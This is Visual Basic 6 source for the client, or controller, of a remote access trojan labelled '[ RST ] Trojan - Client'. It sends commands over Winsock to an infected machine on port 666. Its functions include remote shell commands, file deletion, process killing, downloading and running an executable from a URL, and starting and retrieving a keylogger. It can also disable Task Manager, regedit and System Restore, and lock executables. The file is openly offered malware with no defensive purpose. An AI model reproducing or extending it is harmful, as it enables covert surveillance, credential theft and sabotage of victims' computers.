VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "Mswinsck.ocx"
Begin VB.Form Form1 
   Caption         =   "[ RST ] Trojan - Client"
   ClientHeight    =   11895
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   11610
   LinkTopic       =   "Form1"
   ScaleHeight     =   11895
   ScaleWidth      =   11610
   StartUpPosition =   3  'Windows Default
   Begin VB.Frame Frame13 
      Caption         =   "Keylogger"
      Height          =   2655
      Left            =   360
      TabIndex        =   65
      Top             =   8880
      Width           =   11055
      Begin VB.TextBox Text11 
         Height          =   1935
         Left            =   1800
         MultiLine       =   -1  'True
         TabIndex        =   69
         Top             =   360
         Width           =   9015
      End
      Begin VB.CommandButton Command43 
         Caption         =   "Get Keylog"
         BeginProperty Font 
            Name            =   "MS Sans Serif"
            Size            =   8.25
            Charset         =   0
            Weight          =   700
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         Height          =   495
         Left            =   360
         TabIndex        =   68
         Top             =   1800
         Width           =   1215
      End
      Begin VB.CommandButton Command42 
         Caption         =   "Stop"
         Height          =   375
         Left            =   240
         TabIndex        =   67
         Top             =   960
         Width           =   1335
      End
      Begin VB.CommandButton Command41 
         Caption         =   "Start"
         Height          =   375
         Left            =   240
         TabIndex        =   66
         Top             =   360
         Width           =   1335
      End
   End
   Begin VB.Frame Frame12 
      Caption         =   "System Restore"
      Height          =   975
      Left            =   8040
      TabIndex        =   61
      Top             =   120
      Width           =   3375
      Begin VB.CommandButton Command40 
         Caption         =   "Enable"
         Height          =   375
         Left            =   1920
         TabIndex        =   63
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command39 
         Caption         =   "Disable"
         Height          =   375
         Left            =   240
         TabIndex        =   62
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame11 
      Caption         =   "Regedit"
      Height          =   975
      Left            =   8160
      TabIndex        =   58
      Top             =   7680
      Width           =   3255
      Begin VB.CommandButton Command38 
         Caption         =   "Enable"
         Height          =   375
         Left            =   1920
         TabIndex        =   60
         Top             =   360
         Width           =   1095
      End
      Begin VB.CommandButton Command37 
         Caption         =   "Disable"
         Height          =   375
         Left            =   240
         TabIndex        =   59
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame10 
      Caption         =   "All EXE"
      Height          =   975
      Left            =   4320
      TabIndex        =   55
      Top             =   7680
      Width           =   3375
      Begin VB.CommandButton Command36 
         Caption         =   "Unlock"
         Height          =   375
         Left            =   1920
         TabIndex        =   57
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command35 
         Caption         =   "Lock"
         Height          =   375
         Left            =   240
         TabIndex        =   56
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame9 
      Caption         =   "Task Manager"
      Height          =   975
      Left            =   360
      TabIndex        =   52
      Top             =   7680
      Width           =   3375
      Begin VB.CommandButton Command34 
         Caption         =   "Enable"
         Height          =   375
         Left            =   1920
         TabIndex        =   54
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command33 
         Caption         =   "Disable"
         Height          =   375
         Left            =   240
         TabIndex        =   53
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame8 
      Caption         =   "Desktop Icons"
      Height          =   975
      Left            =   8040
      TabIndex        =   47
      Top             =   4920
      Width           =   3375
      Begin VB.CommandButton Command32 
         Caption         =   "Show"
         Height          =   375
         Left            =   1800
         TabIndex        =   49
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command31 
         Caption         =   "Hide"
         Height          =   375
         Left            =   240
         TabIndex        =   48
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame7 
      Caption         =   "Start Button"
      Height          =   975
      Left            =   8040
      TabIndex        =   44
      Top             =   3720
      Width           =   3375
      Begin VB.CommandButton Command30 
         Caption         =   "Show"
         Height          =   375
         Left            =   1800
         TabIndex        =   46
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command29 
         Caption         =   "Hide"
         Height          =   375
         Left            =   240
         TabIndex        =   45
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame6 
      Caption         =   "Clock"
      Height          =   975
      Left            =   8040
      TabIndex        =   41
      Top             =   2520
      Width           =   3375
      Begin VB.CommandButton Command28 
         Caption         =   "Show"
         Height          =   375
         Left            =   1800
         TabIndex        =   43
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command27 
         Caption         =   "Hide"
         Height          =   375
         Left            =   240
         TabIndex        =   42
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame5 
      Caption         =   "TaskBar"
      Height          =   975
      Left            =   8040
      TabIndex        =   38
      Top             =   1320
      Width           =   3375
      Begin VB.CommandButton Command26 
         Caption         =   "Show"
         Height          =   375
         Left            =   1800
         TabIndex        =   40
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command25 
         Caption         =   "Hide"
         Height          =   375
         Left            =   240
         TabIndex        =   39
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame4 
      Caption         =   "PC"
      Height          =   1815
      Left            =   4320
      TabIndex        =   33
      Top             =   5640
      Width           =   3375
      Begin VB.CommandButton Command24 
         Caption         =   "Abort"
         Height          =   375
         Left            =   2040
         TabIndex        =   37
         Top             =   960
         Width           =   1095
      End
      Begin VB.CommandButton Command23 
         Caption         =   "Log Off"
         Height          =   375
         Left            =   240
         TabIndex        =   36
         Top             =   960
         Width           =   1215
      End
      Begin VB.CommandButton Command22 
         Caption         =   "Shutdown"
         Height          =   375
         Left            =   2040
         TabIndex        =   35
         Top             =   360
         Width           =   1095
      End
      Begin VB.CommandButton Command21 
         Caption         =   "Restart"
         Height          =   375
         Left            =   240
         TabIndex        =   34
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame3 
      Caption         =   "Auto-Download"
      Height          =   1935
      Left            =   360
      TabIndex        =   29
      Top             =   5520
      Width           =   3375
      Begin VB.CommandButton Command20 
         Caption         =   "Download"
         Height          =   375
         Left            =   840
         TabIndex        =   32
         Top             =   1320
         Width           =   1455
      End
      Begin VB.TextBox Text10 
         Height          =   375
         Left            =   240
         TabIndex        =   31
         Text            =   "C:\rst.exe"
         Top             =   840
         Width           =   2775
      End
      Begin VB.TextBox Text9 
         Height          =   375
         Left            =   240
         TabIndex        =   30
         Text            =   "http://trojan.com/server.exe"
         Top             =   360
         Width           =   2775
      End
   End
   Begin VB.Frame Frame2 
      Caption         =   "CD-Rom"
      Height          =   975
      Left            =   4320
      TabIndex        =   26
      Top             =   4320
      Width           =   3375
      Begin VB.CommandButton Command19 
         Caption         =   "Close"
         Height          =   375
         Left            =   1920
         TabIndex        =   28
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command18 
         Caption         =   "Open"
         Height          =   375
         Left            =   240
         TabIndex        =   27
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.Frame Frame1 
      Caption         =   "Mouse"
      Height          =   2775
      Left            =   4320
      TabIndex        =   17
      Top             =   1320
      Width           =   3375
      Begin VB.CommandButton Command17 
         Caption         =   "Show"
         Height          =   375
         Left            =   1920
         TabIndex        =   25
         Top             =   2160
         Width           =   1215
      End
      Begin VB.CommandButton Command16 
         Caption         =   "Hide"
         Height          =   375
         Left            =   240
         TabIndex        =   24
         Top             =   2160
         Width           =   1215
      End
      Begin VB.CommandButton Command15 
         Caption         =   "Not Crazy"
         Height          =   375
         Left            =   1920
         TabIndex        =   23
         Top             =   1560
         Width           =   1215
      End
      Begin VB.CommandButton Command14 
         Caption         =   "Crazy"
         Height          =   375
         Left            =   240
         TabIndex        =   22
         Top             =   1560
         Width           =   1215
      End
      Begin VB.CommandButton Command13 
         Caption         =   "UnFreeze"
         Height          =   375
         Left            =   1920
         TabIndex        =   21
         Top             =   960
         Width           =   1215
      End
      Begin VB.CommandButton Command12 
         Caption         =   "Freeze"
         Height          =   375
         Left            =   240
         TabIndex        =   20
         Top             =   960
         Width           =   1215
      End
      Begin VB.CommandButton Command11 
         Caption         =   "No Swap"
         Height          =   375
         Left            =   1920
         TabIndex        =   19
         Top             =   360
         Width           =   1215
      End
      Begin VB.CommandButton Command10 
         Caption         =   "Swap"
         Height          =   375
         Left            =   240
         TabIndex        =   18
         Top             =   360
         Width           =   1215
      End
   End
   Begin VB.CommandButton Command9 
      Caption         =   "Kill"
      Height          =   375
      Left            =   2760
      TabIndex        =   16
      Top             =   4920
      Width           =   1095
   End
   Begin VB.TextBox Text8 
      Height          =   375
      Left            =   360
      TabIndex        =   15
      Text            =   "winamp.exe"
      Top             =   4920
      Width           =   2175
   End
   Begin VB.CommandButton Command8 
      Caption         =   "Empty"
      Height          =   375
      Left            =   2760
      TabIndex        =   14
      Top             =   4320
      Width           =   1095
   End
   Begin VB.TextBox Text7 
      Height          =   375
      Left            =   360
      TabIndex        =   13
      Text            =   "D:\RST"
      Top             =   4320
      Width           =   2175
   End
   Begin VB.CommandButton Command7 
      Caption         =   "Remove"
      Height          =   375
      Left            =   2760
      TabIndex        =   12
      Top             =   3720
      Width           =   1095
   End
   Begin VB.TextBox Text6 
      Height          =   375
      Left            =   360
      TabIndex        =   11
      Text            =   "D:\RST"
      Top             =   3720
      Width           =   2175
   End
   Begin VB.CommandButton Command6 
      Caption         =   "Delete"
      Height          =   375
      Left            =   2760
      TabIndex        =   10
      Top             =   3120
      Width           =   1095
   End
   Begin VB.TextBox Text5 
      Height          =   375
      Left            =   360
      TabIndex        =   9
      Text            =   "C:\WINDOWS\regedit.exe"
      Top             =   3120
      Width           =   2175
   End
   Begin VB.CommandButton Command5 
      Caption         =   "Run"
      Height          =   375
      Left            =   2760
      TabIndex        =   8
      Top             =   2520
      Width           =   1095
   End
   Begin VB.TextBox Text4 
      Height          =   375
      Left            =   360
      TabIndex        =   7
      Text            =   "cmd"
      Top             =   2520
      Width           =   2175
   End
   Begin VB.CommandButton Command4 
      Caption         =   "CMD"
      Height          =   375
      Left            =   2760
      TabIndex        =   6
      Top             =   1920
      Width           =   1095
   End
   Begin VB.TextBox Text3 
      Height          =   375
      Left            =   360
      TabIndex        =   5
      Text            =   "ipconfig/release"
      Top             =   1920
      Width           =   2175
   End
   Begin VB.CommandButton Command3 
      Caption         =   "Send"
      Height          =   375
      Left            =   2760
      TabIndex        =   4
      Top             =   1320
      Width           =   1095
   End
   Begin VB.TextBox Text2 
      Height          =   375
      Left            =   360
      TabIndex        =   3
      Text            =   "Message"
      Top             =   1320
      Width           =   2175
   End
   Begin VB.CommandButton Command2 
      Caption         =   "Disconnect"
      Height          =   375
      Left            =   5640
      TabIndex        =   2
      Top             =   360
      Width           =   1095
   End
   Begin VB.CommandButton Command1 
      Caption         =   "Connect"
      Height          =   375
      Left            =   4200
      TabIndex        =   1
      Top             =   360
      Width           =   1095
   End
   Begin VB.TextBox Text1 
      Height          =   375
      Left            =   2400
      TabIndex        =   0
      Text            =   "127.0.0.1"
      Top             =   360
      Width           =   1575
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   7200
      Top             =   360
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Label Label3 
      Caption         =   "Connection :"
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   9.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   960
      TabIndex        =   64
      Top             =   360
      Width           =   1215
   End
   Begin VB.Label Label2 
      Caption         =   "[ http://rstzone.org ]"
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   12
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   8640
      TabIndex        =   51
      Top             =   6840
      Width           =   2415
   End
   Begin VB.Label Label1 
      Caption         =   "(c) Nytro 2008"
      BeginProperty Font 
         Name            =   "Arial"
         Size            =   12
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   9000
      TabIndex        =   50
      Top             =   6360
      Width           =   1695
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False

Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 666
Winsock1.Connect
End Sub

Private Sub Command10_Click()
Winsock1.SendData "swap"
End Sub

Private Sub Command11_Click()
Winsock1.SendData "noswap"
End Sub

Private Sub Command12_Click()
Winsock1.SendData "freeze"
End Sub

Private Sub Command13_Click()
Winsock1.SendData "unfreeze"
End Sub

Private Sub Command14_Click()
Winsock1.SendData "crazy"
End Sub

Private Sub Command15_Click()
Winsock1.SendData "notcrazy"
End Sub

Private Sub Command16_Click()
Winsock1.SendData "hide"
End Sub

Private Sub Command17_Click()
Winsock1.SendData "show"
End Sub

Private Sub Command18_Click()
Winsock1.SendData "open"
End Sub

Private Sub Command19_Click()
Winsock1.SendData "close"
End Sub

Private Sub Command2_Click()
Winsock1.Close
Me.Caption = "[ RST ] Trojan - Client - Disconnected"
End Sub

Private Sub Command20_Click()
Winsock1.SendData "auto|" + Text9.Text + "|" + Text10.Text
End Sub

Private Sub Command21_Click()
Winsock1.SendData "restart"
End Sub

Private Sub Command22_Click()
Winsock1.SendData "shutdown"
End Sub

Private Sub Command23_Click()
Winsock1.SendData "logoff"
End Sub

Private Sub Command24_Click()
Winsock1.SendData "abort"
End Sub

Private Sub Command25_Click()
Winsock1.SendData "hidetask"
End Sub

Private Sub Command26_Click()
Winsock1.SendData "showtask"
End Sub

Private Sub Command27_Click()
Winsock1.SendData "hideclock"
End Sub

Private Sub Command28_Click()
Winsock1.SendData "showclock"
End Sub

Private Sub Command29_Click()
Winsock1.SendData "hidestart"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "msg|" + Text2.Text
End Sub

Private Sub Command30_Click()
Winsock1.SendData "showstart"
End Sub

Private Sub Command31_Click()
Winsock1.SendData "hideicons"
End Sub

Private Sub Command32_Click()
Winsock1.SendData "showicons"
End Sub

Private Sub Command33_Click()
Winsock1.SendData "disabletask"
End Sub

Private Sub Command34_Click()
Winsock1.SendData "enabletask"
End Sub

Private Sub Command35_Click()
Winsock1.SendData "lock"
End Sub

Private Sub Command36_Click()
Winsock1.SendData "unlock"
End Sub

Private Sub Command37_Click()
Winsock1.SendData "disablereg"
End Sub

Private Sub Command38_Click()
Winsock1.SendData "enablereg"
End Sub

Private Sub Command39_Click()
Winsock1.SendData "disablesys"
End Sub

Private Sub Command4_Click()
Winsock1.SendData "cmd|" + Text3.Text
End Sub

Private Sub Command40_Click()
Winsock1.SendData "enablesys"
End Sub

Private Sub Command41_Click()
Winsock1.SendData "start"
End Sub

Private Sub Command42_Click()
Winsock1.SendData "stop"
End Sub

Private Sub Command43_Click()
Winsock1.SendData "get"
End Sub

Private Sub Command5_Click()
Winsock1.SendData "run|" + Text4.Text
End Sub

Private Sub Command6_Click()
Winsock1.SendData "kill|" + Text5.Text
End Sub

Private Sub Command7_Click()
Winsock1.SendData "remove|" + Text6.Text
End Sub

Private Sub Command8_Click()
Winsock1.SendData "empty|" + Text7.Text
End Sub

Private Sub Command9_Click()
Winsock1.SendData "process|" + Text8.Text
End Sub

Private Sub Form_Initialize()

If Dir("C:\WINDOWS\system32\MSWINSCK.OCX") = "" Then

Dim i() As Byte
i = LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32\MSWINSCK.OCX" For Binary Access Write As #1
Put #1, , i
Close #1

End If

End Sub

Private Sub Winsock1_Connect()
Me.Caption = "[ RST ] Trojan - Client - Connected"
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String
Dim Vector() As String
Winsock1.GetData date_primite
Vector = Split(date_primite, "|")

Select Case Vector(0)

Case "keylog"
Text11.Text = Vector(1)

End Select

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Me.Caption = "[ RST ] Trojan - Client - Error"
End Sub
